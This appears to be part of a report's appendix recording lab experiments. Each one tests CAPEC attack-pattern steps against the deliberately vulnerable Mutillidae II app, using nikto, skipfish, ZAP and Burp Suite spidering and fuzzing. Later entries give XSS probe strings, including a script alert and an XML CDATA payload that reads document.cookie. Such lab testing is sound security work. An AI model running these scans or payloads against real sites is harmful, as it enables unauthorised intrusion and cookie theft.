2. Open the file ./sf/index.html.
Skipfish is one of the easiest tools to use and it produces lots of output in an easy to
interpret HTML format. It does much more than spider the site. The output is in an
easy-to-read HTML format, but each URL must be inspected to determine which
include parameters.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

7
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters in the URL.
CAPEC-63, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
nikto
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali: nikto -h 192.168.56.105 -Display V
-T 49 -output nikto.csv -root mutillidae
2. Inspect the file nikto.csv

Observations
and Results

nitko is a limited spider tool and does not find URLs with parameters.

Conclusion

The technique proposed in the CAPEC attack pattern definitions could not be
demonstrated effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

8
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters in the URL.
CAPEC-63, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In ZAP, expand the Sites tree
6. Right click the node "GET:index.php(page)"
7. Click Attack/Spider
8. Make the following selections: Recurse, Spider Subtree Only, Show Advanced
Options.
9. On the Advanced tab, change Maximum Depth to Crawl - 0
10. Start Scan
11. Once completed, inspect the results in the History tab, or export.
OWASP ZAP is a powerful penetration testing suite of tools, that includes a spider
and an Ajax Spider. An Ajax spider not only inspects the HTML but also
XMLHttpRequest object JavaScript. Each URL must be inspected to determine which
include parameters. This works well if the results are exported.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

9
Use a spidering tool to follow and record all links. Make special note of any links that
include parameters in the URL.
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start Burpsuite (Community Edition)
4. Next, Start Burp
5. Proxy, Intruder Off
6. Target/Scope/Add - add target URL, exclude out of scope
Burpsuite is a suite of information security tools that can be used to analyze and to
attack a system. However, the automated tools, including the spider, are not enabled in
the free Community edition. Although it appears that it would work, it could not be
confirmed. Manual browsing was effective at finding URLs with parameters.
The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

10
Use a spidering tool to follow and record all links. Make special note of any links that
include parameters in the URL.
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2019 Guest
VirtualBox
macOS 11.0.1 Host
Skipfish
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali: skipfish -YO -d 2 -I
http://192.168.56.112/mutillidae -o ./sf http://192.168.56.112/mutillidae
2. Open the file ./sf/index.html.
Skipfish is one of the easiest tools to use and it produces lots of output in an easy to
interpret HTML format. It does much more than spider the site. The output is in an
easy to read HTML format, but each URL must be inspected to determine which
include parameters.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure
Observations
and Results
Conclusion

11
Use a spidering tool to follow and record all links. Make special note of any links that
include parameters in the URL.
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
nikto
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali: nikto -h 192.168.56.105 -Display V
-T 49 -output nikto.csv -root mutillidae
2. Inspect the file nikto.csv
nitko is a limited spider tool and does not find URLs with parameters.
The technique proposed in the CAPEC attack pattern definitions is not effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

12
Use a spidering tool to follow and record all links. Make special note of any links
that include parameters in the URL.
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In ZAP, expand the Sites tree
6. Right click the node "GET:index.php(page)"
7. Click Attack/Spider
8. Make the following selections: Recurse, Spider Subtree Only, Show Advanced
Options.
9. On the Advanced tab, change Maximum Depth to Crawl - 0
10. Start Scan
11. Once completed, inspect the results in the History tab, or export.
OWASP ZAP is a powerful penetration testing suite of tools, that includes a spider
and an Ajax Spider. An Ajax spider not only inspects the HTML but also
XMLHttpRequest objectJavaScript, which is used to request data from a web server,
and the HTML Document Object Module. Each URL must be inspected to determine
which include parameters. This works well if the results are exported.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions

Attacking host
Tools
Target host

Procedure

Observations
and Results

Conclusion

13
Use a proxy tool to record all links visited during a manual traversal of the web
application.
CAPEC-63, Step 1, Explore Phase
CAPEC-18, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start Burpsuite (Community Edition)
4. Next, Start Burp
5. Proxy, Intruder Off
6. Target/Scope/Add - add target URL, exclude out of scope
Burpsuite's name reveals that is more than a spider. It is a suite of information security
tools that can be used to analyze and to attack a system. However, the automated
tools, including the spider, are not enabled in the free Community edition. Although it
appears that it would work, it could not be confirmed. Manual browsing was effective
at finding URL with parameters. Getting familiar with the toolset takes a bit of effort
but the results are compelling.
The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions

Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

14
Use a proxy tool to record all links visited during a manual traversal of the web
application.
CAPEC-63, Step 1, Explore Phase
CAPEC-18, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
macOS 11.0.1
MacBook Pro
3.1 GHz Intel Dual-Core i5
8 GB
Squid Proxy running on Ubuntu server 20.04
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Edit squid.conf on Ubuntu server to allow all connections.
2. Start Firefox and configure proxy to point to Ubuntu server on TCP port 3128
(squid default).
3. Connect to Mutillidae site through Firefox.
4. Inspect /var/log/squid/access.log on Ubuntu server.
Setup was straightforward and the proxy server worked well for recording the
connections. The links recorded the partial URL, the method (GET, POST), the return
data type, and other attributes, but not parameters, or other key attributes necessary to
complete an attack.
The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

15
Use a proxy tool to record all links visited during a manual traversal of the web
application. Make special note of any links that include parameters in the URL.
Manual traversal of this type is frequently necessary to identify forms that are GET
method forms rather than POST forms.
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start Burpsuite (Community Edition)
4. Next, Start Burp
5. Proxy, Intruder Off
6. Target/Scope/Add - add target URL, exclude out of scope
7. Manually browse website and inspect Burp proxy HTTP History
Burpsuite has a built-in proxy, with many additional features. The Burpsuite UI is
very efficient for this task. URL parameters are easy to find. Finding GET forms does
require manual traversal but the tool does record the information effectively.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

16
Use a spidering tool to follow and record all non-static links that are likely to have
input parameters (through forms, URL, fragments, etc.) actively used by the Web
application.
CAPEC-18, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start Burpsuite (Community Edition)
4. Next, Start Burp
5. Proxy, Intruder Off
6. Target/Scope/Add - add target URL, exclude out of scope
Burpsuite is a suite of information security tools that can be used to analyze and to
attack a system. However, the automated tools, including the spider, are not enabled in
the free Community edition. Although it appears that it would work, it could not be
confirmed. Manual browsing was effective at finding URLs with parameters.
The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.

219

Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host

Tools
Target host
Procedure

Observations
and Results
Conclusion

17
Use a spidering tool to follow and record all non-static links that are likely to have
input parameters (through forms, URL, fragments, etc.) actively used by the Web
application.
CAPEC-18, Step 1, Explore Phase
Kali Linux 2019 Guest
VirtualBox
macOS 11.0.1 Host
Kali Linux 2019 Guest
VirtualBox
macOS 11.0.1 Host
Skipfish
0. Start Mutillidae II
1. Enter the following command in bash on Kali: skipfish -YO -d 2 -I
http://192.168.56.112/mutillidae -o ./sf http://192.168.56.112/mutillidae
2. Open the file ./sf/index.html.
Skipfish is one of the easiest tools to use and it produces lots of output in an easy to
interpret HTML format. It does much more than spider the site. The output is in an
easy to read HTML format, but each URL must be inspected to determine which
include parameters.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

18
Use a spidering tool to follow and record all non-static links that are likely to have
input parameters (through forms, URL, fragments, etc.) actively used by the Web
application.
CAPEC-18, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
nikto
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali: nikto -h 192.168.56.105 -Display V
-T 49 -output nikto.csv -root mutillidae
2. Inspect the file nikto.csv

Observations
and Results

nitko is a limited spider tool and does not find URLs with parameters.

Conclusion

The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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19
Use a spidering tool to follow and record all non-static links that are likely to have
input parameters (through forms, URL, fragments, etc.) actively used by the Web
application.
CAPEC-18, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In ZAP, expand the Sites tree
6. Right click the node "GET:index.php(page)"
7. Click Attack/Spider
8. Make the following selections: Recurse, Spider Subtree Only, Show Advanced
Options.
9. On the Advanced tab, change Maximum Depth to Crawl - 0
10. Start Scan
11. Once completed, inspect the results in the History tab, or export.
OWASP ZAP is a powerful penetration testing suite of tools, that includes a spider
and an Ajax Spider. An Ajax spider not only inspects the HTML but also
XMLHttpRequest objectJavaScript, which is used to request data from a web server,
and the HTML Document Object Module. Each URL must be inspected to determine
which include parameters. This works well if the results are exported.
The technique proposed in the CAPEC attack pattern definitions is effective.
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20
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters used in the HTTP
headers.
CAPEC-86, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start Burpsuite (Community Edition)
4. Next, Start Burp
5. Proxy, Intruder Off
6. Target/Scope/Add - add target URL, exclude out of scope
Burpsuite is a suite of information security tools that can be used to analyze and to
attack a system. However, the automated tools, including the spider, are not enabled in
the free Community edition. Although it appears that it would work, it could not be
confirmed. Manual browsing was effective at finding HTTP headers with parameters.
The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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21
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters used in the HTTP
headers.
CAPEC-86, Step 1, Explore Phase
Kali Linux 2019 Guest
VirtualBox
macOS 11.0.1 Host
Skipfish
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali: skipfish -YO -d 2 -I
http://192.168.56.112/mutillidae -o ./sf http://192.168.56.112/mutillidae
2. Open the file ./sf/index.html.
Skipfish is one of the easiest tools to use and it produces lots of output in an easy to
interpret HTML format. It does much more than spider the site. The output is in an
easy to read HTML format, which must be carefully inspected to determine which
headers include parameters.
The technique proposed in the CAPEC attack pattern definitions is effective.
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22
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters used in the HTTP
headers.
CAPEC-86, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
nikto
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Enter the following command in bash on Kali: nikto -h 192.168.56.105 -Display V
-T 49 -output nikto.csv -root mutillidae
2. Inspect the file nikto.csv

Observations
and Results

nitko is a limited spider tool and does not find URLs with parameters.

Conclusion

The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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23
Use a spidering tool to follow and record all links and analyze the web pages to find
entry points. Make special note of any links that include parameters used in the HTTP
headers.
CAPEC-86, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In ZAP, expand the Sites tree
6. Right click the node "GET:index.php(page)"
7. Click Attack/Spider
8. Make the following selections: Recurse, Spider Subtree Only, Show Advanced
Options.
9. On the Advanced tab, change Maximum Depth to Crawl - 0
10. Start Scan
11. Once completed, inspect the results in the History tab, or export.
OWASP ZAP is a powerful penetration testing suite of tools, that includes a spider
and an Ajax Spider. An Ajax spider not only inspects the HTML but also
XMLHttpRequest objectJavaScript, which is used to request data from a web server,
and the HTML Document Object Module. Each result must be inspected to determine
which include parameters. This works well if the results are exported.
The technique proposed in the CAPEC attack pattern definitions is effective.

226

Experiment ID
Technique
Related
CAPEC Attack
Pattern
Definitions
Attacking host
Tools
Target host

Procedure

Observations
and Results
Conclusion

24
Use a list of XSS probe strings to inject script in parameters of known URLs. If
possible, the probe strings contain a unique identifier.

CAPEC-63, Step 1, Experiment Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Reflected (First Order)/DNS Lookup
6. Type some text into the Hostname/IP field and click Lookup DNS
7. In ZAP, on the History tab, find the POST request sent to Mutillidae and highlight
8. In the Request frame find and highlight the text entered into the HOST/IP field
9. Right Click and select Fuzz
10. Click Payloads
11. Click Add
12. Drop down Type at the top of the screen and select File Fuzzers
13. Expand jbrofuzz and select XSS 101, XSS 102, XSS Embed/Evade (and any other
lists of probe strings that are interesting), Add, OK, Start Fuzzer
14. Inspect the results in the Fuzzer pane
Using OWASP Zap Fuzzer to attack the Mutillidae Reflected XSS "DNS Lookup"
page. Entered text into the DNS Lookup dialog that was captured in ZAP. Used ZAP
Request Editor to insert a unique identifier and resent the request. Confirmed the
presence of the identifier in the HTML included in the reply.
The technique proposed in the CAPEC attack pattern definitions is effective.
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25
Use a list of XSS probe strings to inject script in parameters of known URLs. If
possible, the probe strings contain a unique identifier.
CAPEC-63, Step 1, Experiment Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Prior to running this experiment, download the lists of Burp Suite payloads at
https://github.com/1N3/IntruderPayloads and run the install script.
4. Start Burp Suite (persist if necessary to save the information)
5. Browse the Mutillidae index.php page
6. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Reflected (First Order)/DNS Lookup
7. Type some text into the Hostname/IP field and click Lookup DNS
8. In Burp Suite, on the Proxy/HTTP History tab, find the POST request sent to
Mutillidae and highlight
8. In the Request frame find and highlight the text entered into the HOST/IP field
9. Click Actions/Send to Intruder
10. Click the Intruder tab and then Payloads.
11. Click Simple list and select xss_payloads_quick.txt (or any other choice).
12. Click Start Attack (ignore the warning)
13. When the scan completes, click on a message in the Results tab.
14. Check to see if the payload is present in the response. The Search feature is handy.
Used Burpsuite proxy to capture requests and identify potential entry points for probe
strings. Edit the requests to insert unique identifiers which are reflected back in the
response HTML.
Burp Suite Community Edition warns about limitations on the free version that are not
in the Pro or Enterprise. These limitations did not affect this experiment.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Technique

Use a proxy tool to record results of manual input of XSS probes in known URLs.
CAPEC-63, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Reflected (First Order)/DNS Lookup
6. Enter an XSS probe string into the Hostname/IP field and click Lookup DNS
7. In ZAP, on the History tab, find the POST request sent to Mutillidae and highlight
8. Highlight the Response frame find the text entered into the HOST/IP field using
Edit/Find
9. If present, the text is reflected
Using OWASP Zap Fuzzer to attack the Mutillidae Reflected XSS "DNS Lookup"
page. Entered text into the DNS Lookup dialog that was captured in ZAP. Used ZAP
Request Editor to insert a unique identifier and resent the request. Confirmed the
presence of the identifier in the HTML included in the reply.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Technique

Use a proxy tool to record results of manual input of XSS probes in known URLs.
CAPEC-63, Step 1, Explore Phase
CAPEC-86, Step 1, Explore Phase
CAPEC-199, Step 1, Explore Phase
CAPEC-244, Step 1, Explore Phase
CAPEC-32, Step 1, Explore Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Prior to running this experiment, download the lists of Burp Suite payloads at
https://github.com/1N3/IntruderPayloads and run the install script.
4. Start Burp Suite (persist if necessary to save the information)
5. Browse the Mutillidae index.php page
6. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Reflected (First Order)/DNS Lookup
7. Enter an XSS probe string into the Hostname/IP field and click Lookup DNS
8. In Burp Suite, on the Proxy/HTTP History tab, find the POST request sent to
Mutillidae and highlight
8. In the Response frame find the text from the XSS probe string using the Seach
dialog at the bottom of the windows
9. Check to see if the payload is present in the response.
Used Burpsuite proxy to capture requests and identify potential entry points for probe
strings. Edit the requests to insert unique identifiers which are reflected back in the
response HTML.
The technique proposed in the CAPEC attack pattern definitions is effective.
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28
Use a list of XSS probe strings to inject script into UI entry fields. If possible, the
probe strings contain a unique identifier.
CAPEC-63, Step 1, Experiment Phase
macOS 11.0.1 Host
0
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Browse Mutillidae DNS Lookup page
3. Enter XSS probe strings such as
<script>alert("XSS");</script>
This experiment was performed many times and was usually successful provided the
probe string was appropriate.
The technique proposed in the CAPEC attack pattern definitions is effective.
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29
Manually inject various script payloads into each identified entry point using a list of
common script injection probes that typically work in a client-side non-script
elements context and observe system behavior to determine if script was executed.
Since these probes may have to be injected in many different types of non-script
elements, they should cover a variety of possible contexts (CSS, HTML tag, XML,
etc.).
CAPEC-18, Step 1, Experiment Phase
macOS 11.0.1 Host
0
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Browse Mutillidae DNS Lookup page and enter XSS probe strings:
HTML: <b>Hey!</b>
CSS: <div class="w3-container w3-cursive"><p>Hey!</p>

Procedure
Browse Mutillidae XML validator page and enter XSS probe string
XML:
<xss>DOMDocument>textContent=<![CDATA[<]]>script<![CDATA[>]]>alert(doc
ument.cookie)<![CDATA[<]]>/script<![CDATA[>]]>
</xss>
The HTML and CSS experiments are straitforward. The HTML example shows that
HTML tags are interpreted by the DNS Lookup dialog by bolding the text entered.
The CSS experiment shows that the style is interpreted provided the attacking host
can reach the w3-container.
Observations
and Results

Conclusion

The XML example is more interesting. The probe string entered is XML bounded by
the xss tags. It instantiates a php DOMDocument and sets the textContent property to
the string specified. The < and > characters are special characters in XML. CDATA
stands for Character Data and indicates that the strings should not be interpreted as
XML markup.
The technique proposed in the CAPEC attack pattern definitions is effective.
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30
Use an automated injection attack tool to inject various script payloads into each
identified entry point using a list of common script injection probes that typically
work in a client-side non-script elements context and observe system behavior to
determine if script was executed. Since these probes may have to be injected in many
different types of non-script elements, they should cover a variety of possible contexts
(CSS, HTML tag, XML, etc.).
CAPEC-18, Step 1, Experiment Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Kali
2. Set up browser proxy HTTP port 8080 127.0.0.1 (use FoxyProxy)
3. Start ZAP (persist if necessary to save the information)
4. Browse the Mutillidae index.php page
5. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Persistent (Second Order)/Add to your blog
6. Type some text into the Add blog field and click Save Blog Entry
7. In ZAP, on the History tab, find the POST request sent to Mutillidae and highlight
8. In the Request frame find and highlight the text entered into the HOST/IP field
9. Right Click and select Fuzz
10. Click Payloads
11. Click Add
12. Drop down Type at the top of the screen. With Strings selected enter the
following:
<b>Hey!</b>
<div class="w3-container w3-cursive"><p>Hey!</p>
13. Add, OK, Start Fuzzer
14. Inspect the results in the Fuzzer pane
15. In the Mutillidae menu on left of screen OWASP 2017/A7 - Cross Site Scripting
(XSS)/Via XML Injection/XML Validator
16. Enter some text into the XML Validator
17. Repeat steps 7-11
18. Drop down Type at the top of the screen. With Strings selected enter the
following:
<xss>DOMDocument>textContent=<![CDATA[<]]>script<![CDATA[>]]>var x =
document.getElementsByClassName("page-title");x[0].innerText="XSS
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Observations
and Results

Success";<![CDATA[<]]>/script<![CDATA[>]]></xss>
19. Inspect the results in the Fuzzer pane
20. Find the reflected string "XSS Success" in the Response
Using OWASP Zap Fuzzer to attack the Mutillidae Reflected XSS "DNS Lookup"
page. Entered text into the DNS Lookup dialog that was captured in ZAP. Used ZAP
Request Editor to insert a unique identifier and resent the request. Confirmed the
presence of the identifier in the HTML included in the reply.

Conclusion

Note: the cursive style requires that the attacking host has internet access.
The technique proposed in the CAPEC attack pattern definitions is effective.
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Use a proxy tool to record results of the created requests.

Tools

OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Set Firefox proxy to 127.0.0.1 TCP port 8080 (use FoxyProxy)
3. Start ZAP on Mac
4. Browse Mutillidae DNS Lookup page using Firefox
5. Enter text in Mutillidae Hostname/IP dialog
6. Inspect ZAP History tab
Using OWASP Zap Fuzzer to attack the Mutillidae Reflected XSS "DNS Lookup"
page. Entered text into the DNS Lookup dialog that was captured in ZAP. Used ZAP
Request Editor to insert a unique identifier and resent the request. Confirmed the
presence of the identifier in the HTML included in the reply.
The technique proposed in the CAPEC attack pattern definitions is effective.

Target host
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CAPEC-18, Step 1, Experiment Phase
macOS 11.0.1
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CAPEC-18, Step 1, Experiment Phase
Kali Linux 2021 Guest
VirtualBox
macOS 11.0.1 Host
Burpsuite
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Set Firefox proxy to 127.0.0.1 TCP port 8080 (use FoxyProxy)
3. Start ZAP on Mac
4. Browse Mutillidae DNS Lookup page using Firefox
5. Enter text in Mutillidae Hostname/IP dialog
6. Inspect ZAP History tab
Used Burpsuite proxy to capture requests and identify potential entry points for probe
strings.
The technique proposed in the CAPEC attack patterns could not be demonstrated
effective.
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33
Use a list of XSS probe strings to inject in parameters of known URLs. If possible,
the probe strings contain a unique identifier. Attempt numerous variations based on
form, format, syntax & encoding.
CAPEC-199, Step 1, Experiment Phase
macOS 11.0.1
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Set Firefox proxy to 127.0.0.1 TCP port 8080 (use FoxyProxy)
3. Start ZAP on Mac
4. Browse Mutillidae DNS Lookup page using Firefox
5. Find and highlight the GET command in the ZAP History tab
6. Click the Request and highlight the page parameter
7. Right click the highlighted parameter and select Fuzz...
8. Make sure the Fuzz location is chosen correctly
9. Click Payloads then Add
10. At the top of the dialog, choose File Fuzzers from the dropdown
11. Select jbrofuzz, expand XSS, and choose some related probe lists. Click Add,
then OK, then Start Fuzzer.
12. Inspect the results
Using OWASP Zap Fuzzer, fuzzed the mutillidae/index.php page which takes
parameters that link to other pages on the site. Using some of the jbrofuzz probe lists,
the site was shown to be vulnerable.
The technique proposed in the CAPEC attack pattern definitions is effective.
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34
Use a list of XSS probe strings using different URI schemes to inject in parameters of
known URLs. If possible, the probe strings contain a unique identifier to trace the
injected string back to the entry point.
CAPEC-244, Step 1, Experiment Phase
macOS 11.0.1
OWASP Zed Attack Proxy (ZAP)
Mutillidae II Guest
Ubuntu 20.0.4
VirtualBox
macOS 11.0.1 Host
0. Start Mutillidae II
1. Start Firefox on Mac
2. Set Firefox proxy to 127.0.0.1 TCP port 8080 (use FoxyProxy)
3. Start ZAP on Mac
4. Browse Mutillidae DNS Lookup page using Firefox
5. Find and highlight the GET command in the ZAP History tab
6. Click the Request and highlight the page parameter
7. Right click the highlighted parameter and select Fuzz...
8. Make sure the Fuzz location is chosen correctly
9. Click Payloads then Add
10. At the top of the dialog, choose File Fuzzers from the dropdown
11. Select jbrofuzz, expand XSS, and choose some related probe lists. Click Add, then
OK, then Start Fuzzer.
12. Inspect the results
Using OWASP Zap Fuzzer, fuzzed the mutillidae/index.php page which takes
parameters that link to other pages on the site. Using some of the jbrofuzz probe lists,
the site was shown to be vulnerable.
